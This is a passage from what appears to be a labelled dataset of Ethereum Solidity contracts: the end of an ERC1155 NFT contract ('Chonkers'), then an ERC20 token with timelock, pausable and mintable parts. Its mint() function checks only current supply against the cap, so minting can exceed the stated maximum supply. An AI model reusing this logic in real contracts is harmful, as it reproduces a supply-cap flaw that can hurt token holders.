emit TransferBatch(msg.sender, _from, address(0x0), _ids, _amounts);
}
}
library Strings {
// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol
function strConcat(
string memory _a,
string memory _b,
string memory _c,
string memory _d,
string memory _e
) internal pure returns (string memory) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint256 k = 0;
for (uint256 i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (uint256 i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (uint256 i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (uint256 i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (uint256 i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(
string memory _a,
string memory _b,
string memory _c,
string memory _d
) internal pure returns (string memory) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(
string memory _a,
string memory _b,
string memory _c
) internal pure returns (string memory) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string memory _a, string memory _b) internal pure returns (string memory) {
return strConcat(_a, _b, "", "", "");
}
function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
while (_i != 0) {
bstr[k--] = bytes1(uint8(48 + (_i % 10)));
_i /= 10;
}
return string(bstr);
}
}
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
* @title ERC1155Tradable
* ERC1155Tradable - ERC1155 contract that whitelists an operator address,
* has create and mint functionality, and supports useful standards from OpenZeppelin,
like _exists(), name(), symbol(), and totalSupply()
*/
contract ERC1155Tradable is ERC1155, ERC1155MintBurn, ERC1155Metadata, Ownable, MinterRole, WhitelistAdminRole {
using Strings for string;
address proxyRegistryAddress;
uint256 private _currentTokenID = 0;
mapping(uint256 => address) public creators;
mapping(uint256 => uint256) public tokenSupply;
mapping(uint256 => uint256) public tokenMaxSupply;
// Contract name
string public name;
// Contract symbol
string public symbol;
constructor(
string memory _name,
string memory _symbol,
address _proxyRegistryAddress
) public {
name = _name;
symbol = _symbol;
proxyRegistryAddress = _proxyRegistryAddress;
}
function removeWhitelistAdmin(address account) public onlyOwner {
_removeWhitelistAdmin(account);
}
function removeMinter(address account) public onlyOwner {
_removeMinter(account);
}
function uri(uint256 _id) public view returns (string memory) {
require(_exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN");
return Strings.strConcat(baseMetadataURI, Strings.uint2str(_id));
}
/**
* @dev Returns the total quantity for a token ID
* @param _id uint256 ID of the token to query
* @return amount of token in existence
*/
function totalSupply(uint256 _id) public view returns (uint256) {
return tokenSupply[_id];
}
/**
* @dev Returns the max quantity for a token ID
* @param _id uint256 ID of the token to query
* @return amount of token in existence
*/
function maxSupply(uint256 _id) public view returns (uint256) {
return tokenMaxSupply[_id];
}
/**
* @dev Will update the base URL of token's URI
* @param _newBaseMetadataURI New base URL of token's URI
*/
function setBaseMetadataURI(string memory _newBaseMetadataURI) public onlyWhitelistAdmin {
_setBaseMetadataURI(_newBaseMetadataURI);
}
/**
* @dev Creates a new token type and assigns _initialSupply to an address
* @param _maxSupply max supply allowed
* @param _initialSupply Optional amount to supply the first owner
* @param _uri Optional URI for this token type
* @param _data Optional data to pass if receiver is contract
* @return The newly created token ID
*/
function create(
uint256 _maxSupply,
uint256 _initialSupply,
string calldata _uri,
bytes calldata _data
) external onlyWhitelistAdmin returns (uint256 tokenId) {
require(_initialSupply <= _maxSupply, "Initial supply cannot be more than max supply");
uint256 _id = _getNextTokenID();
_incrementTokenTypeId();
creators[_id] = msg.sender;
if (bytes(_uri).length > 0) {
emit URI(_uri, _id);
}
if (_initialSupply != 0) _mint(msg.sender, _id, _initialSupply, _data);
tokenSupply[_id] = _initialSupply;
tokenMaxSupply[_id] = _maxSupply;
return _id;
}
/**
* @dev Mints some amount of tokens to an address
* @param _to Address of the future owner of the token
* @param _id Token ID to mint
* @param _quantity Amount of tokens to mint
* @param _data Data to pass if receiver is contract
*/
function mint(
address _to,
uint256 _id,
uint256 _quantity,
bytes memory _data
) public onlyMinter {
uint256 tokenId = _id;
require(tokenSupply[tokenId] < tokenMaxSupply[tokenId], "Max supply reached");
_mint(_to, _id, _quantity, _data);
tokenSupply[_id] = tokenSupply[_id].add(_quantity);
}
/**
* Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-free listings.
*/
function isApprovedForAll(address _owner, address _operator) public view returns (bool isOperator) {
// Whitelist OpenSea proxy contract for easy trading.
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(_owner)) == _operator) {
return true;
}
return ERC1155.isApprovedForAll(_owner, _operator);
}
/**
* @dev Returns whether the specified token exists by checking to see if it has a creator
* @param _id uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 _id) internal view returns (bool) {
return creators[_id] != address(0);
}
/**
* @dev calculates the next token ID based on value of _currentTokenID
* @return uint256 for the next token ID
*/
function _getNextTokenID() private view returns (uint256) {
return _currentTokenID.add(1);
}
/**
* @dev increments the value of _currentTokenID
*/
function _incrementTokenTypeId() private {
_currentTokenID++;
}
}
contract Chonkers is ERC1155Tradable {
constructor() public ERC1155Tradable("CHONKER FINANCE", "CHONKERS", 0xa5409ec958C83C3f309868babACA7c86DCB077c1) {
_setBaseMetadataURI("https://farm.chonker.finance/api/NFT/");
}
function contractURI() public pure returns (string memory) {
return "https://farm.chonker.finance/api/CHONK.json";
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-12
*/
pragma solidity ^0.5.17;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract TokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 private _token;
// beneficiary of tokens after they are released
address private _beneficiary;
// timestamp when token release is enabled
uint256 private _releaseTime;
// generator of the tokenLock
address private _owner;
bool private _ownable;
event UnLock(address _receiver, uint256 _amount);
constructor(IERC20 token, address beneficiary, uint256 releaseTime) public {
_token = token;
_beneficiary = beneficiary;
_releaseTime = releaseTime;
}
/**
* @return the token being held.
*/
function token() public view returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public {
require(block.timestamp >= _releaseTime);
uint256 amount = _token.balanceOf(address(this));
require(amount > 0);
_token.safeTransfer(_beneficiary, amount);
emit UnLock(_beneficiary, amount);
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
function _multiTransfer(address[] memory _to, uint256[] memory _amount) internal {
require(_to.length == _amount.length);
uint256 ui;
uint256 amountSum = 0;
for (ui = 0; ui < _to.length; ui++) {
require(_to[ui] != address(0));
amountSum = amountSum.add(_amount[ui]);
}
require(amountSum <= _balances[msg.sender]);
for (ui = 0; ui < _to.length; ui++) {
_balances[msg.sender] = _balances[msg.sender].sub(_amount[ui]);
_balances[_to[ui]] = _balances[_to[ui]].add(_amount[ui]);
emit Transfer(msg.sender, _to[ui], _amount[ui]);
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract PauserRole is Context {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(_msgSender());
}
modifier onlyPauser() {
require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(_msgSender());
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context, PauserRole {
/**
* @dev Emitted when the pause is triggered by a pauser (`account`).
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by a pauser (`account`).
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state. Assigns the Pauser role
* to the deployer.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
/**
* @title Pausable token
* @dev ERC20 with pausable transfers and allowances.
*
* Useful if you want to stop trades until the end of a crowdsale, or have
* an emergency switch for freezing all token transfers in the event of a large
* bug.
*/
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
/**
* @dev See {ERC20-_burnFrom}.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
contract MinterRole is Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(_msgSender());
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
/**
* @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole},
* which have permission to mint (create) new tokens as they see fit.
*
* At construction, the deployer of the contract is the only minter.
*/
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the {MinterRole}.
*/
constructor() internal {
_mint(msg.sender, 300000000000000000000000000);
}
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
// ----------------------------------------------------------------------------
// @title MultiTransfer Token
// ----------------------------------------------------------------------------
contract MultiTransferToken is ERC20, Ownable {
function multiTransfer(address[] memory _to, uint256[] memory _amount) public returns (bool) {
